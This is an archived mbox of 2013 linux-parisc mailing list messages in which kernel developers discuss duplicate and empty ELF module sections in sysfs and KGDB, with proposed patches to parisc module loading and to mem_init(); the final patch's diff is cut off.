cdec9cb5 Dmitry Kasatkin 2011-08-31  51  		prod_low += cy_limb;
cdec9cb5 Dmitry Kasatkin 2011-08-31  52  		cy_limb = (prod_low < cy_limb ? 1 : 0) + prod_high;
cdec9cb5 Dmitry Kasatkin 2011-08-31  53  		res_ptr[j] = prod_low;
cdec9cb5 Dmitry Kasatkin 2011-08-31  54  	} while (++j);
cdec9cb5 Dmitry Kasatkin 2011-08-31  55  
cdec9cb5 Dmitry Kasatkin 2011-08-31  56  	return cy_limb;
cdec9cb5 Dmitry Kasatkin 2011-08-31  57  }



---
0-DAY kernel build testing backend              Open Source Technology Center
http://lists.01.org/mailman/listinfo/kbuild                 Intel Corporation
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:09:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:09:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rusty Russell <rusty@rustcorp.com.au>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Add non-zero module sections to sysfs
Date: Fri, 05 Apr 2013 14:30:50 +1030
Lines: 60
Approved: news@gmane.org
Message-ID: <87vc81lj7x.fsf@rustcorp.com.au>
References: <1364994499-23708-1-git-send-email-sisewank@cip.cs.fau.de> <87mwtf3ya1.fsf@rustcorp.com.au> <515D4A7F.5070102@cip.cs.fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1365138356 8915 80.91.229.3 (5 Apr 2013 05:05:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 5 Apr 2013 05:05:56 +0000 (UTC)
Cc: Sebastian Wankerl <sisewank@cip.cs.fau.de>,
	linux-kernel@vger.kernel.org,
	Philip Kranz <philip.kranz@googlemail.com>,
	i4passt@lists.informatik.uni-erlangen.de,
	linux-parisc@vger.kernel.org
To: Sebastian Wankerl <sisewank@cip.cs.fau.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 05 07:06:23 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UNyr0-0007EV-4x
	for glpp-linux-parisc@plane.gmane.org; Fri, 05 Apr 2013 07:06:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752341Ab3DEFF4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 5 Apr 2013 01:05:56 -0400
Original-Received: from ozlabs.org ([203.10.76.45]:57810 "EHLO ozlabs.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751857Ab3DEFF4 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 5 Apr 2013 01:05:56 -0400
Original-Received: by ozlabs.org (Postfix, from userid 1011)
	id 509082C007A; Fri,  5 Apr 2013 16:05:55 +1100 (EST)
In-Reply-To: <515D4A7F.5070102@cip.cs.fau.de>
User-Agent: Notmuch/0.14 (http://notmuchmail.org) Emacs/23.4.1 (i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4877 gmane.linux.kernel:1470112
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4877>

Sebastian Wankerl <sisewank@cip.cs.fau.de> writes:
> On 04/04/13 03:00, Rusty Russell wrote:
>> Sebastian Wankerl <sisewank@cip.cs.fau.de> writes:
>>> Add non-zero module sections to sysfs on architectures unequal to PARISC.
>>> KGDB needs all module sections for proper module debugging. Therefore, commit 
>>> 35dead4235e2b67da7275b4122fed37099c2f462 is revoked except for PARISC
>>> architecture.
>> #ifdef CONFIG_PARISC in the middle of kernel/module.c is super-ugly, and
>> wrong.
>
> I don't see why this is wrong. It used to load all sections to sysfs
> until the patch mentioned. Actually, it is the PARISC build chain which
> is broken.

Exactly.  Don't workaround it here, revert it and put the
duplicate-section-name fixup in parisc where it belongs.

Assuming parisc still produces these dup sections: that patch is 4 years
old now.

Untested:

diff --git a/arch/parisc/kernel/module.c b/arch/parisc/kernel/module.c
index 2a625fb..28d32a2 100644
--- a/arch/parisc/kernel/module.c
+++ b/arch/parisc/kernel/module.c
@@ -341,6 +341,11 @@ int module_frob_arch_sections(CONST Elf_Ehdr *hdr,
 			    ".PARISC.unwind", 14) == 0)
 			me->arch.unwind_section = i;
 
+		/* we produce multiple, empty .text sections, and kallsyms
+		 * gets upset.  make non-alloc so it doesn't see them. */
+		if (sechdrs[i].sh_size == 0)
+			sechdrs[i].sh_flags &= ~SHF_ALLOC;
+
 		if (sechdrs[i].sh_type != SHT_RELA)
 			continue;
 
>> My preference would be to fix kgdb.  If the section is empty, what need
>> does it have to examine it?
>
> GDB needs to know all sections of the binary and its addresses.

Why?  Does something refer to this empty section?  Why has noone noticed
this since 2009?

> It is generally useful to be able to check up all sections of the binary
> regardless if they are empty or not so one can see the binary's
> structure.

A zero-length section doesn't change the binary's structure.  You don't
see non-SHF_ALLOC sections either.

Cheers,
Rusty.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Add non-zero module sections to sysfs
Date: Fri, 05 Apr 2013 12:07:15 +0200
Lines: 49
Approved: news@gmane.org
Message-ID: <1365156435.1970.31.camel@dabdike>
References: <1364994499-23708-1-git-send-email-sisewank@cip.cs.fau.de>
	 <87mwtf3ya1.fsf@rustcorp.com.au> <515D4A7F.5070102@cip.cs.fau.de>
	 <87vc81lj7x.fsf@rustcorp.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1365266808 21572 80.91.229.3 (6 Apr 2013 16:46:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 6 Apr 2013 16:46:48 +0000 (UTC)
Cc: Sebastian Wankerl <sisewank@cip.cs.fau.de>,
	linux-kernel@vger.kernel.org,
	Philip Kranz <philip.kranz@googlemail.com>,
	i4passt@lists.informatik.uni-erlangen.de,
	linux-parisc@vger.kernel.org
To: Rusty Russell <rusty@rustcorp.com.au>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 06 18:46:43 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UOWEl-0002u6-Jv
	for glpp-linux-parisc@plane.gmane.org; Sat, 06 Apr 2013 18:45:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932074Ab3DEKHU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 5 Apr 2013 06:07:20 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:52314 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752005Ab3DEKHT (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 5 Apr 2013 06:07:19 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 87E288EE0CF;
	Fri,  5 Apr 2013 03:07:18 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id SgAtHi140AZC; Fri,  5 Apr 2013 03:07:18 -0700 (PDT)
Original-Received: from [192.168.51.214] (unknown [87.213.44.130])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 05AA18EE0A3;
	Fri,  5 Apr 2013 03:07:16 -0700 (PDT)
In-Reply-To: <87vc81lj7x.fsf@rustcorp.com.au>
X-Mailer: Evolution 3.6.3 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4878 gmane.linux.kernel:1470236
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4878>

On Fri, 2013-04-05 at 14:30 +1030, Rusty Russell wrote:
> Sebastian Wankerl <sisewank@cip.cs.fau.de> writes:
> > On 04/04/13 03:00, Rusty Russell wrote:
> >> Sebastian Wankerl <sisewank@cip.cs.fau.de> writes:
> >>> Add non-zero module sections to sysfs on architectures unequal to PARISC.
> >>> KGDB needs all module sections for proper module debugging. Therefore, commit 
> >>> 35dead4235e2b67da7275b4122fed37099c2f462 is revoked except for PARISC
> >>> architecture.

Thanks for actually cc'ing us.

> >> #ifdef CONFIG_PARISC in the middle of kernel/module.c is super-ugly, and
> >> wrong.
> >
> > I don't see why this is wrong. It used to load all sections to sysfs
> > until the patch mentioned. Actually, it is the PARISC build chain which
> > is broken.
> 
> Exactly.  Don't workaround it here, revert it and put the
> duplicate-section-name fixup in parisc where it belongs.
> 
> Assuming parisc still produces these dup sections: that patch is 4 years
> old now.

Just so you know: this isn't a parisc specific problem.  Gcc produces
duplicate section names under various circumstances, but the one that
bites us is -ffunction-sections.  Note that there are proposals to use
-ffunction-sections on all architectures (so we can garbage collect
unused functions) in which case you'll induce the bug identified in
35dead4235e2b67da7275b4122fed37099c2f462 on every architecture

The problem is our assumption that section names be unique.  This
assumption is wrong.  The ELF spec says (version 1.1 page 1-15): "An
object file may have more than one section with the same name."  We need
to fix the kernel not to rely on a bogus assumption ... but we had no
idea how to do that in a way that preserved the backwards compatibility
of sections subdirectory.

I admit that 35dead4235e2b67da7275b4122fed37099c2f462 is a hack, but now
the problem has got attention, can we fix it properly?

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sebastian Wankerl <sisewank@cip.cs.fau.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Add non-zero module sections to sysfs
Date: Fri, 05 Apr 2013 11:40:29 +0200
Lines: 41
Approved: news@gmane.org
Message-ID: <515E9C0D.503@cip.cs.fau.de>
References: <1364994499-23708-1-git-send-email-sisewank@cip.cs.fau.de> <87mwtf3ya1.fsf@rustcorp.com.au> <515D4A7F.5070102@cip.cs.fau.de> <87vc81lj7x.fsf@rustcorp.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1365267157 26441 80.91.229.3 (6 Apr 2013 16:52:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 6 Apr 2013 16:52:37 +0000 (UTC)
Cc: Philip Kranz <philip.kranz@googlemail.com>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	i4passt@lists.informatik.uni-erlangen.de
To: Rusty Russell <rusty@rustcorp.com.au>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 06 18:52:33 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UOWEM-0002u6-Au
	for glpp-linux-parisc@plane.gmane.org; Sat, 06 Apr 2013 18:44:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1161370Ab3DEJkp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 5 Apr 2013 05:40:45 -0400
Original-Received: from moutng.kundenserver.de ([212.227.126.187]:60138 "EHLO
	moutng.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1765545Ab3DEJkn (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 5 Apr 2013 05:40:43 -0400
Original-Received: from [131.188.30.204] (faui06e.informatik.uni-erlangen.de [131.188.30.204])
	by mrelayeu.kundenserver.de (node=mreu4) with ESMTP (Nemesis)
	id 0Loeg3-1UqDHT3Ict-00gdBj; Fri, 05 Apr 2013 11:40:36 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:10.0.12) Gecko/20130116 Icedove/10.0.12
In-Reply-To: <87vc81lj7x.fsf@rustcorp.com.au>
X-Provags-ID: V02:K0:h/9w6NUd7mTL8pSM1wS80hTvqF6zsDXmFHwxJnhAjD5
 oVKYglyFxHAhWt2jd9N8LhMljTgmhvpBV56OfdjawcF4a96xWt
 7Ja/8+rQjm1e9hyOZMznIk9z8mkp+EqLvcORDnvl4e/G3nAWG2
 C3+CI9sS3gzaeX/Juzch6BkeQ4gRVkwszied/yxBI1AXOf0fgO
 Q4CrUtykeAsJJ+uWHXH/OqF38wR+7RW4dx8NzFkdiu9oWKLc0z
 UGF9Vd2nS7gJ3WUfrMm7k2YjWaDG3wabnMzcMzLTa4zKJQpysF
 C5ptf6WZy5hpSaXvWv1ps5iOtwrEeUxHIUqN2AbdeLfADczVR/
 QZ9QD+oLmk3dYJoLxvPc=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4879 gmane.linux.kernel:1470333
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4879>

On 04/05/13 06:00, Rusty Russell wrote:
> Exactly.  Don't workaround it here, revert it and put the
> duplicate-section-name fixup in parisc where it belongs.
>
> Assuming parisc still produces these dup sections: that patch is 4 years
> old now.
>
> Untested:
>
> diff --git a/arch/parisc/kernel/module.c b/arch/parisc/kernel/module.c
> index 2a625fb..28d32a2 100644
> --- a/arch/parisc/kernel/module.c
> +++ b/arch/parisc/kernel/module.c
> @@ -341,6 +341,11 @@ int module_frob_arch_sections(CONST Elf_Ehdr *hdr,
>  			    ".PARISC.unwind", 14) == 0)
>  			me->arch.unwind_section = i;
>  
> +		/* we produce multiple, empty .text sections, and kallsyms
> +		 * gets upset.  make non-alloc so it doesn't see them. */
> +		if (sechdrs[i].sh_size == 0)
> +			sechdrs[i].sh_flags &= ~SHF_ALLOC;
> +
>  		if (sechdrs[i].sh_type != SHT_RELA)
>  			continue;
We just worked your suggested patch in.

> Why?  Does something refer to this empty section?  Why has noone noticed
> this since 2009?

GDB wants to know all section with attribute ALLOC, regardless whether
they are empty or not. Thus, it is useful if all of them appear in sysfs.
> A zero-length section doesn't change the binary's structure.  You don't
> see non-SHF_ALLOC sections either.

Yes, but they do occupy an index in the section headers of the binary.
GDB needs to know all of them in the right order.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Add non-zero module sections to sysfs
Date: Sat, 6 Apr 2013 11:16:19 -0400
Lines: 64
Approved: news@gmane.org
Message-ID: <BLU0-SMTP23C8D54498C7DFACDF083B97DB0@phx.gbl>
References: <1364994499-23708-1-git-send-email-sisewank@cip.cs.fau.de> <87mwtf3ya1.fsf@rustcorp.com.au> <515D4A7F.5070102@cip.cs.fau.de> <87vc81lj7x.fsf@rustcorp.com.au> <1365156435.1970.31.camel@dabdike> <87wqsgjm6i.fsf@rustcorp.com.au> <1365245524.4298.14.camel@dabdike.spectrum.wifi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1365269036 21806 80.91.229.3 (6 Apr 2013 17:23:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 6 Apr 2013 17:23:56 +0000 (UTC)
Cc: Rusty Russell <rusty@rustcorp.com.au>,
	Sebastian Wankerl <sisewank@cip.cs.fau.de>,
	linux-kernel@vger.kernel.org,
	Philip Kranz <philip.kranz@googlemail.com>,
	i4passt@lists.informatik.uni-erlangen.de,
	linux-parisc@vger.kernel.org, corbet@lwn.net
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 06 19:23:46 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UOWWn-0001D7-4c
	for glpp-linux-parisc@plane.gmane.org; Sat, 06 Apr 2013 19:03:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1423079Ab3DFPRC (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 6 Apr 2013 11:17:02 -0400
Original-Received: from blu0-omc1-s25.blu0.hotmail.com ([65.55.116.36]:16252 "EHLO
	blu0-omc1-s25.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1423081Ab3DFPRC (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 6 Apr 2013 11:17:02 -0400
Original-Received: from BLU0-SMTP23 ([65.55.116.8]) by blu0-omc1-s25.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 6 Apr 2013 08:17:00 -0700
X-EIP: [01jKApTv96eHRe/EFCzm/VdSOdALvUtu]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.168.249]) by BLU0-SMTP23.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 6 Apr 2013 08:16:59 -0700
In-Reply-To: <1365245524.4298.14.camel@dabdike.spectrum.wifi>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 06 Apr 2013 15:16:59.0503 (UTC) FILETIME=[C89827F0:01CE32D9]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4880 gmane.linux.kernel:1470630
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4880>

On 6-Apr-13, at 6:52 AM, James Bottomley wrote:

> On Sat, 2013-04-06 at 15:22 +1030, Rusty Russell wrote:
>>> The problem is our assumption that section names be unique.  This
>>> assumption is wrong.  The ELF spec says (version 1.1 page 1-15): "An
>>> object file may have more than one section with the same name."   
>>> We need
>>> to fix the kernel not to rely on a bogus assumption ... but we had  
>>> no
>>> idea how to do that in a way that preserved the backwards  
>>> compatibility
>>> of sections subdirectory.
>>>
>>> I admit that 35dead4235e2b67da7275b4122fed37099c2f462 is a hack,  
>>> but now
>>> the problem has got attention, can we fix it properly?
>>
>> Yep.  The original patch didn't go through me, or we would have had  
>> this
>> discussion back then...
>>
>> The use of section names in sysfs goes back to one Mr. Corbet.  Why  
>> did
>> he do it that way?  Because gdb's add-symbol-file makes the same
>> assumption.  So if we fixed the sysfs somehow, it still wouldn't be
>> useful, since there's no way to tell gdb :(
>>
>> The real answer don't use -ffunction-sections on modules: probably  
>> not
>> as important as the rest of the kernel.  And the new shiny is
>> -flto anyway.
>>
>> And that leaves us with a PA-RISC specific issue, for which we should
>> move the fix to PA-RISC.
>>
>> Thoughts?
>
> Well, we don't have much of a choice.  Our ELF stub jump on 32 bits  
> is a
> PCREL17.  That means once a module size is over 128k there's a  
> chance we
> might not be able to link it because the jump is too big for the
> instruction.  IPV6 is one such big module today, but I'm sure there  
> are
> others.  The only way I know to fix this is to allow the linker to
> insert stubs between functions, so we only fail at linking if a single
> function is >128k big.  The way to do this is -ffunction-sections,
> unless there's something else we could do (all we really need is a way
> to ensure we can insert ELF stubs every 128k).

There is now a config work around for this.  See:
http://www.spinics.net/lists/linux-parisc/msg04521.html

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jiang Liu <liuj97@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH v4, part3 30/41] mm/PARISC: prepare for removing num_physpages and simplify mem_init()
Date: Sat,  6 Apr 2013 22:32:29 +0800
Lines: 101
Approved: news@gmane.org
Message-ID: <1365258760-30821-31-git-send-email-jiang.liu@huawei.com>
References: <1365258760-30821-1-git-send-email-jiang.liu@huawei.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1365269056 22146 80.91.229.3 (6 Apr 2013 17:24:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 6 Apr 2013 17:24:16 +0000 (UTC)
Cc: Jiang Liu <jiang.liu@huawei.com>,
	David Rientjes <rientjes@google.com>,
	Wen Congyang <wency@cn.fujitsu.com>,
	Mel Gorman <mgorman@suse.de>, Minchan Kim <minchan@kernel.org>,
	KAMEZAWA Hiroyuki <kamezawa.hiroyu@jp.fujitsu.com>,
	Michal Hocko <mhocko@suse.cz>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Sergei Shtylyov <sergei.shtylyov@cogentembedded.com>,
	David Howells <dhowells@redhat.com>,
	Mark Salter <msalter@redhat.com>,
	Jianguo Wu <wujianguo@huawei.com>, linux-mm@kvack.org,
	linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Thomas Gleixner <tglx@linutronix.de>,
	linux-parisc@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 06 19:23:50 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UOWWL-0001D7-Su
	for glpp-linux-parisc@plane.gmane.org; Sat, 06 Apr 2013 19:03:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1423396Ab3DFOqY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 6 Apr 2013 10:46:24 -0400
Original-Received: from mail-pb0-f54.google.com ([209.85.160.54]:43482 "EHLO
	mail-pb0-f54.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1423085Ab3DFOqU (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 6 Apr 2013 10:46:20 -0400
Original-Received: by mail-pb0-f54.google.com with SMTP id xa7so2472431pbc.13
        for <multiple recipients>; Sat, 06 Apr 2013 07:46:19 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=x-received:from:to:cc:subject:date:message-id:x-mailer:in-reply-to
         :references;
        bh=QbF6qJqXV47ETdCawnKJhgOw5FZPAZwCfNf0n9HixVA=;
        b=u3gfPIyFu5FQqXf7QXceAySuVynK4XD61nyWSOOoP5sM5iEkIb6U8h0b6LIsK1ZPAj
         3FKfObggbIbG1aRqpFPuLozDEsxowwIKgNi4e9+ZyIPl/GMcDIABwshWavGbsm22TrcD
         xH5vUFEuXre9MYNsDcvmmY6xfOyG/Jd6GrlmiISB3zF1M7FGMlHEZ2qJJ5MVa6E5nq15
         BGPte0dBD5OeUTB4FfbpAyOfXB52a2Q/Nm6XTLcjRBZNA79iOuxVgpGFA0ZH8ahZ/Etg
         f46+RkbKkfUxhjbPTR5b4DKx0bkaCISi4TD1AvmS/cDPFIpQxFrXJodeCfyWrzDFcyLb
         vtFQ==
X-Received: by 10.66.121.104 with SMTP id lj8mr8338769pab.51.1365259579427;
        Sat, 06 Apr 2013 07:46:19 -0700 (PDT)
Original-Received: from localhost.localdomain ([114.250.92.211])
        by mx.google.com with ESMTPS id of1sm4911094pbb.2.2013.04.06.07.46.11
        (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Sat, 06 Apr 2013 07:46:18 -0700 (PDT)
X-Mailer: git-send-email 1.7.9.5
In-Reply-To: <1365258760-30821-1-git-send-email-jiang.liu@huawei.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4881 gmane.linux.kernel.mm:97602 gmane.linux.kernel.cross-arch:17497 gmane.linux.kernel:1470632
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4881>

Prepare for removing num_physpages and simplify mem_init().

Signed-off-by: Jiang Liu <jiang.liu@huawei.com>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: Michal Hocko <mhocko@suse.cz>
Cc: David Rientjes <rientjes@google.com>
Cc: linux-parisc@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
---
 arch/parisc/mm/init.c |   46 +++-------------------------------------------
 1 file changed, 3 insertions(+), 43 deletions(-)

diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index 1fe9d841..f80c175 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -214,7 +214,6 @@ static void __init setup_bootmem(void)
 	mem_limit_func();       /* check for "mem=" argument */
 
 	mem_max = 0;
-	num_physpages = 0;
 	for (i = 0; i < npmem_ranges; i++) {
 		unsigned long rsize;
 
@@ -229,10 +228,8 @@ static void __init setup_bootmem(void)
 				npmem_ranges = i + 1;
 				mem_max = mem_limit;
 			}
-	        num_physpages += pmem_ranges[i].pages;
 			break;
 		}
-	    num_physpages += pmem_ranges[i].pages;
 		mem_max += rsize;
 	}
 
@@ -532,7 +529,7 @@ void free_initmem(void)
 	 * pages are no-longer executable */
 	flush_icache_range(init_begin, init_end);
 	
-	num_physpages += free_initmem_default(-1);
+	free_initmem_default(-1);
 
 	/* set up a new led state on systems shipped LED State panel */
 	pdc_chassis_send_status(PDC_CHASSIS_DIRECT_BCOMPLETE);
@@ -580,8 +577,6 @@ unsigned long pcxl_dma_start __read_mostly;
 
 void __init mem_init(void)
 {
-	int codesize, reservedpages, datasize, initsize;
-
 	/* Do sanity checks on page table constants */
 	BUILD_BUG_ON(PTE_ENTRY_SIZE != sizeof(pte_t));
 	BUILD_BUG_ON(PMD_ENTRY_SIZE != sizeof(pmd_t));
@@ -603,33 +598,6 @@ void __init mem_init(void)
 	}
 #endif
 
-	codesize = (unsigned long)_etext - (unsigned long)_text;
-	datasize = (unsigned long)_edata - (unsigned long)_etext;
-	initsize = (unsigned long)__init_end - (unsigned long)__init_begin;
-
-	reservedpages = 0;
-{
-	unsigned long pfn;
-#ifdef CONFIG_DISCONTIGMEM
-	int i;
-
-	for (i = 0; i < npmem_ranges; i++) {
-		for (pfn = node_start_pfn(i); pfn < node_end_pfn(i); pfn++) {
-			if (PageReserved(pfn_to_page(pfn)))
-				reservedpages++;
-		}
-	}
-#else /* !CONFIG_DISCONTIGMEM */
-	for (pfn = 0; pfn < max_pfn; pfn++) {
-		/*
-		 * Only count reserved RAM pages
-		 */
-		if (PageReserved(pfn_to_page(pfn)))
-			reservedpages++;
-	}
-#endif
-}
-
 #ifdef CONFIG_PA11
 	if (hppa_dma_ops == &pcxl_dma_ops) {
